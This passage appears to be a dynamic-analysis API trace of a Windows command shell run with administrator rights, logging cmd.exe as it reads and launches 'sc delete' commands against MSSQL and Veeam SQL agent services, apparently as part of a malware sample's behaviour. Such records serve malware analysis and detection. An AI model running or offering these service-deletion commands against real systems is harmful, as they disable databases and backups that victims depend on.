HALPmcxz\\Desktop") returned 0x25 [0070.354] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.354] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.354] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.354] GetFileType (hFile=0x120) returned 0x3 [0070.354] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.354] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.354] GetFileType (hFile=0xb8) returned 0x3 [0070.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MSQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$VEEAMSQL2012\"\n") returned 1 [0070.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$VEEAMSQL2012\"\n") returned 1 [0070.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="QAgent$VEEAMSQL2012\"\n") returned 1 [0070.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Lgent$VEEAMSQL2012\"\n") returned 1 [0070.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\nent$VEEAMSQL2012\"\n") returned 1 [0070.358] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.358] GetFileType (hFile=0xb8) returned 0x3 [0070.358] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.358] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.358] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.358] GetFileType (hFile=0x120) returned 0x3 [0070.358] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQL\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQL\n", lpUsedDefaultChar=0x0) returned 17 [0070.358] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0070.358] GetProcessHeap () returned 0x4a0000 [0070.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.358] GetProcessHeap () returned 0x4a0000 [0070.358] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.358] GetProcessHeap () returned 0x4a0000 [0070.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.358] GetProcessHeap () returned 0x4a0000 [0070.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.358] GetProcessHeap () returned 0x4a0000 [0070.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0070.358] GetConsoleOutputCP () returned 0x1b5 [0070.359] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.359] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.359] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0070.360] SetErrorMode (uMode=0x0) returned 0x1 [0070.360] SetErrorMode (uMode=0x1) returned 0x0 [0070.360] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.360] SetErrorMode (uMode=0x1) returned 0x1 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0070.360] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.360] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.360] GetProcessHeap () returned 0x4a0000 [0070.360] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.361] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.361] GetProcessHeap () returned 0x4a0000 [0070.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0070.361] GetProcessHeap () returned 0x4a0000 [0070.361] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0070.361] GetProcessHeap () returned 0x4a0000 [0070.361] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0070.361] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.361] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.361] GetLastError () returned 0x2 [0070.361] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.361] GetLastError () returned 0x2 [0070.361] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.361] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.362] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.362] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.362] GetLastError () returned 0x2 [0070.362] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.362] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.362] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.362] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.362] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.362] GetProcessHeap () returned 0x4a0000 [0070.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.362] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.362] GetProcessHeap () returned 0x4a0000 [0070.362] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0070.362] GetProcessHeap () returned 0x4a0000 [0070.362] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0070.362] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQL") returned 1 [0070.363] GetProcessHeap () returned 0x4a0000 [0070.363] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.363] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.363] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.363] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.363] GetProcessHeap () returned 0x4a0000 [0070.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.363] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.364] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.364] GetProcessHeap () returned 0x4a0000 [0070.365] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.365] GetProcessHeap () returned 0x4a0000 [0070.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.365] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQL", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQL", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MSSQL", 